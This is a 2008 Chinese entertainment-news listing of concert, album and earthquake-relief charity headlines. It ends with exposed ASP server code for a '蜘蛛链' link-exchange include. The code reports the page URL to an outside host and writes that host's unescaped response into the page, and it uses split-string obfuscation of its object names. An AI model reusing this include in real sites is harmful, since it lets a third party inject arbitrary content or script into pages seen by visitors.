| ·[图文] 苏醒加入明星足球队 献唱《我们在一起》 |
2008-06-12 |
0 |
|
| · 许慧欣新歌排行榜夺冠 |
2008-06-11 |
0 |
|
| · 张学友演唱会主办方提起上诉 |
2008-06-11 |
0 |
|
| ·[图文] 东方神起北京演唱会12日唱响丰体中心 |
2008-06-10 |
0 |
|
| · 张学友杭州演唱会歌曲侵权 |
2008-06-10 |
0 |
|
| · 阿朵新专辑延期发布暂别舞台三个月 |
2008-06-05 |
0 |
|
| · 119人同唱赈灾歌曲《我们心在一起》幕后故事 |
2008-06-04 |
0 |
|
| · 孟庭苇举行首场个唱 1岁儿子压轴 |
2008-06-03 |
0 |
|
| ·[图文] 希尔顿献唱日本MTV音乐大奖 |
2008-06-03 |
0 |
|
| · 林忆莲个唱将清唱出场 |
2008-05-30 |
0 |
|
| ·[图文] 苏打绿乐团6月北京开唱 10％票款捐灾区 |
2008-05-29 |
0 |
|
| · 陶喆赈灾歌版税全数捐 |
2008-05-29 |
0 |
|
| · 魔岩三杰窦唯张楚何勇今夏沪上重聚 |
2008-05-28 |
0 |
|
| ·[图文] 黄家驹5首生前作品重新填词编曲将结集面世 |
2008-05-28 |
0 |
|
| ·[图文] 确认为抗震主题曲 词作手稿入藏国博 |
2008-05-26 |
0 |
|
| ·[图文] 崔健义演 黑布蒙眼演绎 |
2008-05-26 |
0 |
|
| · 林忆莲南京个唱主打国语经典 |
2008-05-26 |
0 |
|
| ·[图文] 范晓萱上海开唱 母亲登台爵士味十足 |
2008-05-26 |
0 |
|
| ·[图文] 黎明与林夕合作欢乐歌助受灾儿童 |
2008-05-23 |
0 |
|
| · 周杰伦重庆演唱会改为慈善演出 |
2008-05-23 |
0 |
|
| ·[图文] 刘媛媛拍MV多次泣不成声 |
2008-05-22 |
0 |
|
| · 陈慧琳取消两场个唱 期望退票观众捐出退款赈灾 |
2008-05-22 |
0 |
|
| · 周杰伦捐50万 血管硬化病情严重完婚转幕后 |
2008-05-16 |
0 |
|
| · 李玟宣传新专辑 愿深入灾区搬米搬粮 |
2008-05-16 |
0 |
|
| · 承担赈灾使命 陶喆赴台录制赈灾歌曲 |
2008-05-15 |
0 |
|
| · 苏醒自编自演 新曲MV首度曝光 |
2008-05-14 |
0 |
|
| · 演艺界踊跃捐款已近2000万 |
2008-05-14 |
0 |
|
| ·[图文] 麦当娜演唱会现场两度爆粗口 BBC向听众道歉 |
2008-05-13 |
0 |
|
| ·[图文] 孟庭苇将带1岁3个月大儿子登台开唱 |
2008-05-13 |
0 |
|
| · 母亲节周杰伦送老妈肉麻卡片 |
2008-05-12 |
0 |
|
<%
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 开始 ---------''''
'' 参数宽(width)、高(height)、行(row)、列(col)可自行调整
Response.Write GetLink("88" , "31" , "1" , "6" , "1")
Function GetLink(width,height,row,col,secure)
On Error Resume Next
Dim Url
Url = "http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("URL")
If Trim(Request.QueryString) <> "" Then Url = Url & "?" & Trim(Request.QueryString)
Url = "http://www.990990.cn/put.php?row=" & row & "&col=" & col & "&width=" & width & "&height=" & height & "&url=" & Server.URLEncode(Url) & "&secure=" & secure
GetLink = GetHttpPage(Url)
If Err.Number <> 0 Then
GetLink = ""
Err.Clear
End If
End Function
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True Or Len(HttpUrl)<18 Then
GetHttpPage=""
Exit Function
End If
Dim Http
Set Http=server.createobject("MSX" & "ML2.XM" & "LHT" & "TP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage=""
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"utf-8")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("ad" & "odb.str" & "eam")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
''''--------- 蜘蛛链 自动获取链接代码（ASP V20071206） 结束 ---------''''
%>
